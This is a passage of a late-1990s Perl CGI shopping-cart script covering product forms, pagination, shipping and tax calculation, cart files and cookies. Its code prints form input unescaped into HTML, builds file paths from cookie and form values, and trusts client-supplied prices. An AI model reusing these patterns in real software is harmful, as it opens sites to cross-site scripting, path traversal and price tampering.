VALUE=\"$lang[112] $stock\">\n"; } $n = 3; foreach $custom (@custom) { if (( $custom ) && ( $custom !~ /^OPTIONS/i && $custom !~ /^CHECKBOX/i && $custom !~ /^TEXT/i && $custom !~ /^QUANTITY/i ) ) { print "<INPUT TYPE=HIDDEN NAME=\"custom$n\" VALUE=\"$custom\">\n"; } $n++; } if ( $button =~ /^http/i ) { print "<INPUT TYPE=HIDDEN NAME=\"add\">\n"; print "<INPUT TYPE=IMAGE NAME=\"add\" SRC=\"$button\" VALUE=\"$button\" BORDER=0>\n"; } else { print "&nbsp;<INPUT TYPE=SUBMIT NAME=\"add\" VALUE=\"$button\" >\n"; } print "</TD></TR>"; print "<TR><TD COLSPAN=\"$image_colspan\" ALIGN=\"$db_select_alignment\" >"; $n = 3; foreach $custom (@custom) { if (( $custom ) && ( $custom =~ /^OPTIONS/i )) { ($size,@options) = split(/$options_separator/,$custom); $size =~ /^OPTIONS(\d*)/i; $size = $1; if (!$force_no_script) { print "<NOSCRIPT>"; } print "<SELECT NAME=\"custom$n\" SIZE=\"$size\" >"; if (!$force_no_script) { print "</NOSCRIPT>"; } if (!$force_no_script) { print "<SCRIPT LANGUAGE=\"JavaScript\">\n if (compat)\n {\n document.write('<SELECT NAME=\"custom$n\" SIZE=\"$size\" OnChange=\"Total($form)\">');\n }\n else\n {\n document.write('<SELECT NAME=\"custom$n\" SIZE=\"$size\" >');\n }\n </SCRIPT>\n"; } $m = 0; foreach $opt (@options) { if ( $size > 1 && $m == 0 ) { print "<OPTION SELECTED>$opt\n"; } else { print "<OPTION>$opt\n"; } $m++; } print "</SELECT>\n"; if ($db_select_stack_or_across eq "stack") { print "<BR>\n"; } } if (( $custom ) && ( $custom =~ /^CHECKBOX/i )) { ($size,@options) = split(/$options_separator/,$custom); $opt = "@options"; if ( $symbol eq "\\" ) { $opt =~ s/\\/\\\\/g; } if (!$force_no_script) { print "<NOSCRIPT>"; } print "<FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"> <INPUT TYPE=CHECKBOX NAME=\"custom$n\" VALUE=\"$opt\" >$opt </FONT>"; if (!$force_no_script) { print "</NOSCRIPT>\n"; } if (!$force_no_script) { print "<SCRIPT LANGUAGE=\"JavaScript\">\n if (compat)\n {\n document.write('<FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"> <INPUT TYPE=CHECKBOX NAME=\"custom$n\" VALUE=\"$opt\" onClick=\"Total($form)\">$opt </FONT>');\n }\n else\n {\n document.write('<FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"> <INPUT TYPE=CHECKBOX NAME=\"custom$n\" VALUE=\"$opt\" >$opt </FONT>');\n }\n </SCRIPT>\n"; } if ($db_select_stack_or_across eq "stack") { print "<BR>\n"; } } if (( $custom ) && ( $custom =~ /^TEXT/i )) { ($size,@options) = split(/$options_separator/,$custom); ( $options[1] ,$options[2]) = split(/\-/,$options[1]); if (!$options[1]) { $options[1] = "20"; } if (!$options[2]) { $options[2] = "20"; } if (!$force_no_script) { print "<NOSCRIPT>"; } print "<BR><FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"> $options[0]  </FONT> <FONT COLOR=\"$font1\" SIZE=\"$font_size1\"> <INPUT TYPE=TEXT NAME=\"custom$n\" SIZE=\"$options[1]\" MAXLENGTH=\"$options[2]\"> </FONT>"; if (!$force_no_script) { print "</NOSCRIPT>"; } if (!$force_no_script) { print "<SCRIPT LANGUAGE=\"JavaScript\">\n document.write('<BR><FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"> $options[0] </FONT><FONT COLOR=\"$font1\" SIZE=\"$font_size1\"><INPUT TYPE=TEXT NAME=\"custom$n\" SIZE=\"$options[1]\" MAXLENGTH=\"$options[2]\"> </FONT>');\n </SCRIPT>\n"; } if ($db_select_stack_or_across eq "stack") { print "<BR>\n"; } } if (( $custom ) && ( $custom =~ /^QUANTITY/i )) { ($size,@options) = split(/$options_separator/,$custom); if ($options[1] =~ /\n$/ ) { chop($options[1]); } ( $options[1] ,$options[2],$options[3] ) = split(/\-/,$options[1]); if (!$options[1]) { $options[1] = "20"; } if (!$options[2]) { $options[2] = "20"; } if ($options[3] ne "0") { if (!$options[3]) { $options[3] = "1"; } } if (!$force_no_script) { print "<NOSCRIPT>"; } print "<FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"> $options[0]  </FONT> <FONT COLOR=\"$font1\" SIZE=\"$font_size1\"> <INPUT TYPE=TEXT NAME=\"quantity\" VALUE=\"$options[3]\" SIZE=\"$options[1]\" MAXLENGTH=\"$options[2]\"> </FONT> "; if (!$force_no_script) { print "</NOSCRIPT>"; } if (!$force_no_script) { print "<SCRIPT LANGUAGE=\"JavaScript\">\n if (compat)\n {\n document.write('<FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"> $options[0] </FONT><FONT COLOR=\"$font1\" SIZE=\"$font_size1\"><INPUT TYPE=TEXT NAME=\"quantity\" VALUE=\"$options[3]\" SIZE=\"$options[1]\" MAXLENGTH=\"$options[2]\" Onblur=\"Total($form)\"> </FONT> ');\n }\n else\n {\n document.write(' <FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\"> $options[0] </FONT><FONT COLOR=\"$font1\" SIZE=\"$font_size1\"><INPUT TYPE=TEXT NAME=\"quantity\" VALUE=\"$options[3]\" SIZE=\"$options[1]\" MAXLENGTH=\"$options[2]\"> </FONT> ');\n }\n </SCRIPT>\n"; } if ($db_select_stack_or_across eq "stack") { print "<BR>\n"; } } $n++; } print "<HR>"; if (!$force_no_script) { print "<SCRIPT LANGUAGE=\"JavaScript\">\n if (compat) { Total($form); }\n </SCRIPT>\n"; } print "<INPUT TYPE=HIDDEN NAME=merchant VALUE=\"$FORM{'merchant'}\">\n </FORM>\n </TD></TR>"; $form++; } } } print "</TABLE>\n<CENTER>"; if ( !$match_found ) { if (!-e "$database_dir/$FORM{'db'}") { print "<FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\">$lang[106] $database_dir/$FORM{'db'}</FONT><BR>\n"; } elsif ( ($FORM{'category'}) && (!$category_exists) ) { print "<FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\">$lang[76] <B>$FORM{'category'}</B>, $lang[77] <B>$FORM{'db'}</B></FONT><BR>\n"; } else { print "<FONT COLOR=\"$font1\" FACE=\"$font_face1\" SIZE=\"$font_size1\">"; if ( $FORM{'search'} ) { print "$lang[78] <B>$FORM{'search'}</B><BR>\n"; } if ( $FORM{'method'} ) { print "$lang[92] $FORM{'method'}<BR>\n"; } if ( $FORM{'price'} ) { print "$lang[96] $FORM{'price'}<BR>\n"; } print "</FONT><BR>\n"; } } $FORM{'category'} =~ s/ /\+/g; $FORM{'search'} =~ s/ /\+/g; if ( $db_next_link_method eq "next" ) { $item_end = $item_start + $items_per_page - 1; if ( $item_end > $total_items ) { $item_end = $total_items; } print "<FONT COLOR=\"$font2\" FACE=\"$font_face2\" SIZE=\"$font_size2\">$lang[79] $item_start - $item_end $lang[113] $total_items</FONT><BR>\n"; if ( $FORM{'begin'} > 1 ) { $previous_start = $FORM{'begin'} - $FORM{'display'}; if ( $previous_start < 1 ) { $previous_start = 1; } $temp_path = "$path3" . "?" . "db=$FORM{'db'}&category=$FORM{'category'}&search=$FORM{'search'}&method=$FORM{'method'}&begin=$previous_start&display=$FORM{'display'}&price=$FORM{'price'}&merchant=$FORM{'merchant'}"; print " <NOBR><A HREF=\"$temp_path\"><FONT COLOR=\"$font2\" FACE=\"$font_face1\" SIZE=\"$font_size1\">$lang[150] $FORM{'display'} $lang[79]</FONT></A></NOBR> &nbsp;"; } if ( ( $FORM{'begin'} + $FORM{'display'} ) < $total_items ) { $next_start = $item_start + $FORM{'display'}; if ( $next_start > $total_items ) { $next_start = $total_items; } $temp_path = "$path3" . "?" . "db=$FORM{'db'}&category=$FORM{'category'}&search=$FORM{'search'}&method=$FORM{'method'}&begin=$next_start&display=$FORM{'display'}&price=$FORM{'price'}&merchant=$FORM{'merchant'}"; print " <NOBR><A HREF=\"$temp_path\"><FONT COLOR=\"$font2\" FACE=\"$font_face1\" SIZE=\"$font_size1\">$lang[149] $FORM{'display'} $lang[79]</FONT></A></NOBR> &nbsp;"; } print "<BR>\n"; print "<BR>\n"; } else { $item_end = $item_start + $items_per_page - 1; if ( $item_end > $total_items ) { $item_end = $total_items; } if ( $total_items > $items_per_page ) { print "<FONT COLOR=\"$font2\" FACE=\"$font_face2\" SIZE=\"$font_size2\"> $lang[79] $item_start - $item_end $lang[113] $total_items</FONT><BR>\n"; $new_item_start = $item_start + $items_per_page; $query_separator2 = $query_separator; $query_separator2 =~ s/^\\//; for($i=1;$i<=$total_items;$i=$i+$items_per_page) { if ( ($total_items - $i) < ($items_per_page - 1) ) { $temp = $total_items; } else { $temp = ($i + ($items_per_page - 1)); } if ( $i == $item_start ) { $temp_font = $font2; } else { $temp_font = $font1; } $temp_path = "$path3" . "?" . "db=$FORM{'db'}&category=$FORM{'category'}&search=$FORM{'search'}&method=$FORM{'method'}&begin=$i&display=$FORM{'display'}&price=$FORM{'price'}&merchant=$FORM{'merchant'}"; print " <NOBR><A HREF=\"$temp_path\"><FONT COLOR=\"$temp_font\" FACE=\"$font_face1\" SIZE=\"$font_size1\">$lang[79] $i - $temp</FONT></A></NOBR> &nbsp;"; } print "<BR>\n"; } print "<BR>\n"; } print "<TABLE><TR><TD VALIGN=TOP>\n"; &home; print "</TD><TD VALIGN=TOP>\n"; if ( $view_url ) { print "<FORM METHOD=POST ACTION=\"$path3\">\n"; if ($database_return_url) { print "<INPUT TYPE=HIDDEN NAME=\"return\" VALUE=\"$database_return_url\">\n"; } else { print "<INPUT TYPE=HIDDEN NAME=\"return\" VALUE=\"$ENV{'QUERY_STRING'}\">\n"; } print "<INPUT TYPE=HIDDEN NAME=merchant VALUE=\"$FORM{'merchant'}\"> <INPUT TYPE=HIDDEN NAME=purpose VALUE=\"look\"> <INPUT TYPE=IMAGE SRC=\"$view_url\" NAME=\"$lang[81]\" BORDER=0> </FORM></A></CENTER>\n"; } else { print "<FORM METHOD=POST ACTION=\"$path3\">\n"; if ($database_return_url) { print "<INPUT TYPE=HIDDEN NAME=\"return\" VALUE=\"$database_return_url\">\n"; } else { print "<INPUT TYPE=HIDDEN NAME=\"return\" VALUE=\"$ENV{'QUERY_STRING'}\">\n"; } print "<INPUT TYPE=HIDDEN NAME=merchant VALUE=\"$FORM{'merchant'}\"> <INPUT TYPE=HIDDEN NAME=purpose VALUE=\"look\"> <INPUT TYPE=SUBMIT VALUE=\"$lang[81]\"> </FORM></A></CENTER>\n"; } print "</TD></TR></TABLE>\n"; if ( $navigation_bar && $navigation_bar_position eq "bottom" ) { &navigation_bar; } if ($navigation_bar) {  print "</TD></TR>\n"; print "</TABLE>\n"; } if ( $navigation_bar2 ) { &navigation_bar2; } if ($ENV{'HTTP_HOST'} eq "www.dansie.net") { print "<IMG SRC=\"http://www.dansie.net/cgi-bin/counter.pl\" border=0>"; } print "</BODY></HTML>\n"; } sub navigation_bar { $extra_forms = 0; if ($navigation_bar) { open(NAVBAR,"$navigation_bar"); @nav_bar_html=<NAVBAR>; close(NAVBAR); print "<TABLE WIDTH=$table_width BORDER=$borders CELLPADDING=0 CELLSPACING=0 ><TR><TD VALIGN=TOP>\n"; foreach (@nav_bar_html) { print "$_\n"; while ( $_ =~ /(<form)/gi ) { $extra_forms++; } } if (!-e "$navigation_bar")  { print "Could not find Navigation Bar file at: \"$navigation_bar\""; } print "</TD>"; if ( $navigation_bar_position eq "top" ) { print "</TR><TR>\n"; } print "<TD VALIGN=TOP>"; $table_width = "100%"; } } sub navigation_bar2 { $extra_forms = 0; if ($navigation_bar2) { open(NAVBAR,"$navigation_bar2"); @nav_bar_html=<NAVBAR>; close(NAVBAR); print "<TABLE WIDTH=$table_width BORDER=$borders CELLPADDING=0 CELLSPACING=0><TR><TD VALIGN=TOP>\n"; foreach (@nav_bar_html) { print "$_\n"; while ( $_ =~ /(<form)/gi ) { $extra_forms++; } } if (!-e "$navigation_bar2")  { print "Could not find Navigation Bar file at: \"$navigation_bar2\""; } print "</TD></TR></TABLE>"; } } sub quote_strip { $q = "&quot;"; $_ = $_[0]; s/(.*)(<)(.*)(")(.*)(")(.*)(>)(.*)/$1$2$3$5$7$8$9/gi while (/(.*)(<)(.*)(")(.*)(")(.*)(>)(.*)/); s/(.*)(<)(.*)($q)(.*)($q)(.*)(>)(.*)/$1$2$3$5$7$8$9/gi while (/(.*)(<)(.*)($q)(.*)($q)(.*)(>)(.*)/); return $_; } sub get_sales_tax { $sn = 0; foreach (@state) { if ( $state[$sn] eq $state ) { $tax_rate = $tax[$sn]; last; } $sn++; } } sub address_table { print "<BR>"; print "<CENTER><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$lang[2]</FONT><BR><FONT SIZE=\"$font_size1\" FACE=\"$font_face1\" COLOR=\"$font1\">($lang[3])</FONT></CENTER><BR>"; print "<CENTER><TABLE WIDTH=$table_width BORDER=4 CELLPADDING=5 CELLSPACING=0 BGCOLOR=\"$address_table_bgcolor\"><TR><TD WIDTH=15%><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$lang[4]</FONT></TD><TD WIDTH=60%>&nbsp;</TD></TR>"; if ($use_company_name_field) { print "<TR><TD><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\"><NOBR>$lang[90]</NOBR></FONT></TD><TD>&nbsp;</TD></TR>"; } print "<TR><TD><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\"><NOBR>$lang[5]</NOBR></FONT></TD><TD>&nbsp;</TD></TR>"; print "<TR><TD><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\"><NOBR>$lang[6]</NOBR></FONT></TD><TD>&nbsp;</TD></TR>"; print "<TR><TD><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$lang[7]</FONT></TD><TD>&nbsp;</TD></TR>"; print "<TR><TD><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\"><NOBR>$lang[8]</NOBR></FONT></TD><TD>&nbsp;</TD></TR>"; print "<TR><TD><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\"><NOBR>$lang[9]</NOBR></FONT></TD><TD>&nbsp;</TD></TR>"; print "</TABLE></CENTER><BR>"; } sub ship_calc { if ($ship_allow == 1) { if ($shipping_roundup) { if ( ($ship_total - int($ship_total)) > 0 && ( $ship_total < 1 ) ) { $ship_total = int($ship_total); $ship_total++; } } $an = 0; foreach $type (@method) { if ( $method_init_price[$an] =~ /(\D+)(.*)(\.)(\D+)/ ) { &db_shipping; } else { $price[$an] = $ship_total * $method_price[$an]; $price[$an] += ( @method_init_price[$an] - $method_price[$an] ); } $price[$an] = sprintf("$decimals", $price[$an]); if ( $ship_total == 0 ) { $price[$an] = 0; } $an++; } $an = 0; if ( $ship_total > 0 ) { foreach $type (@method) { if ( $ship_method eq $type ) { if ( $method_init_price[$an] =~ /(\D+)(.*)(\.)(\D+)/ ) { &db_shipping; $ship_total = $price[$an]; } else { $ship_total *= $method_price[$an]; $ship_total += ( @method_init_price[$an] - $method_price[$an] ); } } $an++; } } } if ($ship_allow == 2) { $total_ship_temp = $total - $noshipping; $already_know_what_method_is = $ship_method; $an = 0; foreach (@shipping_locations) { $ship_method = ""; $ship_total = 0; @temp = split(/\,/,$shipping_via_amount[$an]); $highest = $temp[(@temp-2)]; while (@temp) { ($b) = pop(@temp); ($a) = pop(@temp); if ( ($total_ship_temp > 0) && $total_ship_temp < $a) { $ship_total = $b; $ship_method = "$shipping_locations[$an]"; } if ( ($total_ship_temp < $a) && ( $b =~ /(\%)$/ ) ) { chop($b); $ship_total = ( ($b * $total_ship_temp) / 100 ); $ship_total = sprintf("$decimals","$ship_total"); } } if (!$ship_method) { $ship_total = "0.00"; } $price[$an] = $ship_total; if ( $shipping_locations[$an] eq $already_know_what_method_is ) { $ship_method = "$shipping_locations[$an]";  $ship_method_chosen = "$ship_method"; $ship_grand_total = $ship_total; } $an++; } } if ( $already_know_what_method_is ) { $ship_method = "$ship_method_chosen"; $ship_total = $ship_grand_total; } } sub db_shipping { $ship_db = "$vars"; $a = ""; until ($a eq "/" || $ship_db eq "") { $a = chop($ship_db); } $ship_db = "$ship_db/$method_init_price[$an]"; if (!-e"$ship_db") { $type = "Cannot find: $ship_db"; } else { open(FILE,"$ship_db"); @ship_db_lines=<FILE>; close(FILE); foreach $ship_db_line (@ship_db_lines) { while ($ship_db_line =~ /(\n|\r|\s)$/) { chop($ship_db_line); } ($db_pounds,$db_cost) = split(/\|/,$ship_db_line); if ( ($ship_db_line =~ /\|/) && ($ship_total >= $db_pounds) ) { $price[$an] = "$db_cost"; } } } } sub calculate_fulltotal { $total = 0; $nontaxable = 0; $noshipping = 0; $ship_total = 0; $n = 0; chop($items[0]); ($a,$invoice,$state,$ship_method,$comments2,$coupon_amount,$coupon_number) = split(/$delimiter2/, $items[0]); foreach $item (@items) { if ( ( $n == 0 ) || ( $n == 1 ) ) { $n++; next; } @stuff = split(/$delimiter2/,$item); @customs = (@stuff); for($i=1;$i<=5;$i++) { shift(@customs); } $quantity = $stuff[4]; $price_calc = $stuff[1]; &price_calc; $item_total = $each * $stuff[4]; if ($item =~ /\#non.*taxable\#/i) { $nontaxable += $item_total; } if ($item =~ /\#noshipping\#/i) { $noshipping += $item_total; } $total += $item_total; $ship_total += $stuff[2] * $stuff[4]; $n++; } if ( $coupon_amount ) { &coupon_amount; } &webstore_discount; $total -= $discount_amount; if ( $nontaxable ) { $nontaxable -= $discount_amount; } $taxes = 0; if ( $state ) { &get_sales_tax; $taxes = ($total - $nontaxable) * $tax_rate; $taxes /= 100; } if ( $ship_allow ) { &ship_calc; } $total += $taxes if ( $state ); $total += $ship_total if ( $ship_allow ); $total = sprintf("$decimals","$total"); $total =~ s/ //g; } sub webstore_discount { if ($webstore_discount) { $disc_items_total = 0; $discount_amount = 0; ($disc_type,$disc_start,$disc_percent,@multi_disc) = split(/$delimiter2/,$webstore_discount); $disc_percent2 = $disc_percent / 100; if ($disc_type eq "items") { $dn = 0; foreach $disc_count (@items) { if ( $dn < 2 ) { $dn++; next; } ($trash,$trash,$trash,$trash,$disc_items) = split(/$delimiter2/,$disc_count); $disc_items_total += $disc_items; $dn++; } unshift(@multi_disc,$disc_start,$disc_percent); while (@multi_disc) { ($a) = shift(@multi_disc); ($b) = shift(@multi_disc); if ( $disc_items_total >= $a ) { $disc_percent = $b; $discount_amount = $total * ($b/100); $discount_amount = sprintf("$decimals",$discount_amount); } } } if ($disc_type eq "subtotal") { unshift(@multi_disc,$disc_start,$disc_percent); while (@multi_disc) { ($a) = shift(@multi_disc); ($b) = shift(@multi_disc); if ( $total >= $a ) { $disc_percent = $b; $discount_amount = $total * ($b/100); $discount_amount = sprintf("$decimals",$discount_amount); } } } } } sub add_new_item_to_cart { if ( $FORM{'name'} =~ /^(multi-items)$/i ) { for($mi=1;$mi<=$customs;$mi++) { if ( $FORM{"multi-item$mi"} ) { ($FORM{'name'},$FORM{'price'},$FORM{'sh'},$FORM{'img'},@multi_custom) = split(/$delimiter2/,$FORM{"multi-item$mi"}); $FORM{'quantity'} = $FORM{"quantity$mi"}; &fix_quantity; &limited_item_check; print CART "$FORM{'name'}$delimiter$FORM{'price'}$delimiter$FORM{'sh'}$delimiter$FORM{'img'}$delimiter$FORM{'quantity'}"; for($ci=0;$ci<$customs;$ci++) { print CART "$delimiter$multi_custom[$ci]"; } print CART "\n"; } } } else { &limited_item_check; print CART "$FORM{'name'}$delimiter$FORM{'price'}$delimiter$FORM{'sh'}$delimiter$FORM{'img'}$delimiter$FORM{'quantity'}"; for($ci=1;$ci<=$customs;$ci++) { print CART "$delimiter$FORM{\"custom$ci\"}"; } print CART "\n"; } } sub limited_item_check { $limited_dir = "$vars"; $a = ""; until ($a eq "/" || $limited_dir eq "") { $a = chop($limited_dir); } if (-e "$limited_dir/limited.dat") { open (LIMITED, "$limited_dir/limited.dat"); if ($flock) { flock(LIMITED, 2); } @limited = <LIMITED>; if ($flock) { flock(LIMITED, 8); } close (LIMITED); foreach $limited_item (@limited) { if ($limited_item =~ /\n$/) { chop($limited_item); } ($limit_name,$limit_quantity) = split(/$delimiter2/,$limited_item); if ( ($FORM{'name'} eq "$limit_name") && ($limit_quantity < 1) ) { $FORM{'name'} = "$FORM{'name'}"; $FORM{'price'} = "0"; $FORM{'sh'} = ""; $FORM{'img'} = ""; $FORM{'quantity'} = "1"; for($ci=1;$ci<=$customs;$ci++) { $FORM{"custom$ci"} = ""; $multi_custom[$ci] = ""; } $FORM{"custom1"} = "$lang[107]"; $multi_custom[1] = "$lang[107]"; last; } elsif ( ($FORM{'name'} eq "$limit_name") && ($limit_quantity < $FORM{'quantity'}) ) { $FORM{'quantity'} = $limit_quantity; } } } } sub limited_item_deincrement { foreach $limited_item (@limited) { if ($limited_item =~ /\n$/) { chop($limited_item); } ($limit_name,$limit_quantity) = split(/$delimiter2/,$limited_item); if ( $stuff[0] eq "$limit_name" ) { if ( $stuff[4] < 1 ) { $stuff[4] = 1; } $limit_quantity -= $stuff[4]; $limited_item = "$limit_name|$limit_quantity"; $deincrement = 1; last; } } } sub fix_quantity { while ( $FORM{'quantity'} =~ /[a-zA-Z]/ ) { chop($FORM{'quantity'}); } if ( !$FORM{'quantity'} ) { $FORM{'quantity'} = 1; } if ( $FORM{'quantity'} < 0 ) { $FORM{'quantity'} = 1; } if ( $fix_int_quantity != 1 ) { $FORM{'quantity'} = int($FORM{'quantity'}); } } sub get_shoppers_items { if ( $virtual_browser_cookie ) { $shopper_id = "$virtual_browser_cookie"; } else { if ( $ip_or_cookie == 0 ) { $shopper_id = $ENV{'REMOTE_HOST'}; if (!-e "$path1/$shopper_id$ext") { &increment_invoice; } } elsif (-e "$path1/$ENV{'REMOTE_HOST'}$ext") { $shopper_id = $ENV{'REMOTE_HOST'}; } else { if (&GetCookies("$cookie_name2") && (-e "$path1/$Cookies{$cookie_name2}$ext") )  { $shopper_id = "$Cookies{$cookie_name2}"; } else { if (!$got_cookie) { &increment_invoice; &SetCookies($cookie_name2,$invoice); $shopper_id = $invoice; $got_cookie = 1; } } } } open(CART,"$path1/$shopper_id$ext"); @items = <CART>; close CART; } sub increment_invoice { $max_size_invoice_file = 10; open(INVOICE,"$path2"); if ($flock) { flock(INVOICE, 2); } @invoice = <INVOICE>; @invoice = sort { $a <=> $b } @invoice; $invoice = $invoice[@invoice-1]; $invoice++; if ( @invoice > $max_size_invoice_file ) { until(@invoice < ($max_size_invoice_file / 2) ) { shift(@invoice); } $path2 = &untaint("$path2"); open(INVOICE,">$path2"); foreach (@invoice) { print INVOICE "$_"; } } else { $path2 = &untaint("$path2"); open(INVOICE,">>$path2"); if ( $invoice[@invoice-1] !~ /\n$/ ) { print INVOICE "\n"; } } print INVOICE "$invoice\n"; if ($flock) { flock(INVOICE, 8); } close(INVOICE); } sub cookie_failure { if (!-e "$path1/$ENV{'REMOTE_HOST'}$ext") { $temp_path1 = &untaint("$path1/$FORM{'convert_cookie_to_ip'}$ext"); $temp_path2 = &untaint("$path1/$ENV{'REMOTE_HOST'}$ext"); rename ("$temp_path1", "$temp_path2"); } } sub GetCookies { local(@ReturnCookies) = @_; local($cookie_flag) = 0; local($cookie,$value); if ($ENV{'HTTP_COOKIE'}) { if ($ReturnCookies[0] ne '') { foreach (split(/; /,$ENV{'HTTP_COOKIE'})) { ($cookie,$value) = split(/=/); foreach $char (@Cookie_Decode_Chars) { $cookie =~ s/$char/$Cookie_Decode_Chars{$char}/g; $value =~ s/$char/$Cookie_Decode_Chars{$char}/g; } foreach $ReturnCookie (@ReturnCookies)  { if ($ReturnCookie eq $cookie) { $Cookies{$cookie} = $value; $cookie_flag = "1"; } } } } else { foreach (split(/; /,$ENV{'HTTP_COOKIE'})) { ($cookie,$value) = split(/=/); foreach $char (@Cookie_Decode_Chars) { $cookie =~ s/$char/$Cookie_Decode_Chars{$char}/g; $value =~ s/$char/$Cookie_Decode_Chars{$char}/g; } $Cookies{$cookie} = $value; } $cookie_flag = 1; } } return $cookie_flag; } sub SetCookies { local(@cookies) = @_; local($cookie,$value,$char); while( ($cookie,$value) = @cookies ) { foreach $char (@Cookie_Encode_Chars) { $cookie =~ s/$char/$Cookie_Encode_Chars{$char}/g; $value =~ s/$char/$Cookie_Encode_Chars{$char}/g; } print 'Set-Cookie: ' . $cookie . '=' . $value . ';'; if ($Cookie_Exp_Date) { print ' expires=' . $Cookie_Exp_Date . ';'; } if ($Cookie_Path) { print ' path=' . $Cookie_Path . ';'; } if ($Cookie_Domain) { print ' domain=' . $Cookie_Domain . ';'; } if ($Secure_Cookie) { print ' secure'; } print "\n"; shift(@cookies); shift(@cookies); } } sub SetCookieExpDate { @date = localtime(time); foreach (@date) { if ( $_ < 10 ) { $_ = "0" . $_; } } $date[4] = (Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec)[$date[4]]; $date[6] = (Sun,Mon,Tue,Wed,Thu,Fri,Sat)[$date[6]]; if ( $date[5] < 100 ) { if ( $date[5] > 97 ) { $date[5] = "19" . $date[5]; } else { $date[5] = "20" . $date[5]; } } if ( $date[5] < 100 ) { $date[5] = "20" . "$date[5]"; } if ( ( $date[5] >= 100 ) && ( $date[5] < 2000 ) ) { $date[5] += 1900; } $date[5]++; $Cookie_Exp_Date = "$date[6] $date[4] $date[3] $date[2]:$date[1]:$date[0] $date[5] GMT"; } sub SetCookieExpDate2 { @date = localtime(time); foreach (@date) { if ( $_ < 10 ) { $_ = "0" . $_; } } $date[4] = (Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec)[$date[4]]; $date[6] = (Sun,Mon,Tue,Wed,Thu,Fri,Sat)[$date[6]]; if ( $date[5] < 100 ) { if ( $date[5] > 97 ) { $date[5] = "19" . $date[5]; } else { $date[5] = "20" . $date[5]; } } if ( $date[5] < 100 ) { $date[5] = "20" . "$date[5]"; } if ( ( $date[5] >= 100 ) && ( $date[5] < 2000 ) ) { $date[5] += 1900; } $Cookie_Exp_Date = "$date[6] $date[4] $date[3] $date[2]:$date[1]:$date[0] $date[5]"; } sub SetCookieExpDate3 { $date_temp = `date`; if ($date_temp =~ /\n$/) { chop($date_temp); } @date_temp = split(/\s/,$date_temp); if ( $date_temp[2] eq "" ) { $date_temp[6]++; $Cookie_Exp_Date = "$date_temp[0]" . ", " . "$date_temp[3]" . "-" . "$date_temp[1]" . "-" . "$date_temp[6]" . " " . "$date_temp[4]" . " " . "GMT"; } else { $date_temp[5]++; $Cookie_Exp_Date = "$date_temp[0]" . ", " . "$date_temp[2]" . "-" . "$date_temp[1]" . "-" . "$date_temp[5]" . " " . "$date_temp[3]" . " " . "GMT"; } } sub SetCompressedCookies { local($cookie_name,@cookies) = @_; local($cookie,$value,$cookie_value); while ( ($cookie,$value) = @cookies ) { foreach $char (@Cookie_Encode_Chars) { $cookie =~ s/$char/$Cookie_Encode_Chars{$char}/g; $value =~ s/$char/$Cookie_Encode_Chars{$char}/g; } if ($cookie_value) { $cookie_value .= '&' . $cookie . '::' . $value; } else { $cookie_value = $cookie . '::' . $value; } shift(@cookies); shift(@cookies); } &SetCookies("$cookie_name","$cookie_value"); } sub GetCompressedCookies { local($cookie_name,@ReturnCookies) = @_; local($cookie_flag) = 0; local($ReturnCookie,$cookie,$value); if (&GetCookies($cookie_name)) { if ($ReturnCookies[0] ne '') { foreach (split(/&/,$Cookies{$cookie_name})) { ($cookie,$value) = split(/::/); foreach $char (@Cookie_Decode_Chars) { $cookie =~ s/$char/$Cookie_Decode_Chars{$char}/g; $value =~ s/$char/$Cookie_Decode_Chars{$char}/g; } foreach $ReturnCookie (@ReturnCookies) { if ($ReturnCookie eq $cookie) { $Cookies{$cookie} = $value; $cookie_flag = 1; } } } } else { foreach (split(/&/,$Cookies{$cookie_name})) { ($cookie,$value) = split(/::/); foreach $char (@Cookie_Decode_Chars) { $cookie =~ s/$char/$Cookie_Decode_Chars{$char}/g; $value =~ s/$char/$Cookie_Decode_Chars{$char}/g; } $Cookies{$cookie} = $value; } $cookie_flag = 1; } delete($Cookies{$cookie_name}); } return $cookie_flag; } sub check_cookie { if ( $ip_or_cookie == 1 ) { &GetCookies("$cookie_name2"); $shopper_id = "$Cookies{$cookie_name2}"; if ( ( (!$shopper_id) || (!-e "$path1/$shopper_id$ext") ) && (!-e "$path1/$ENV{'REMOTE_HOST'}$ext") ) { &cookie_failure; } } } sub footer { print "<H3>Questions, Comments, Suggestions: <A HREF=\"mailto:cart\@dansie.net\">cart\@dansie.net</A> <BR>  <A HREF=\"http://www.dansie.net\">http://www.dansie.net</A></H3> <SMALL> Use of the Dansie Shopping Cart software is subject to the terms of the license agreement. By using this software you signify that you have read the license agreement and accept its terms. Your purchase of a Dansie Shopping Cart license entitles you to one (1) working copy of the script per license. You may NOT copy, reproduce, resell, or give away copies of the script in any way shape or form without first purchasing an additional license. You may make one back up copy should something happen to the working copy on your host. You may not make any modifications to the Dansie Shopping Cart script except as instructed in the ReadMe. The small text link and credit to http://www.dansie.net must remain in the script and appear at the bottom of the various pages of shopping cart script. Violation of this license agreement may void your right to technical support and subject you to legal action.<BR> Dansie Shopping Cart $version<BR> Copyright � Dec 10, 1997<BR> </SMALL>"; exit; } sub untaint { if ( 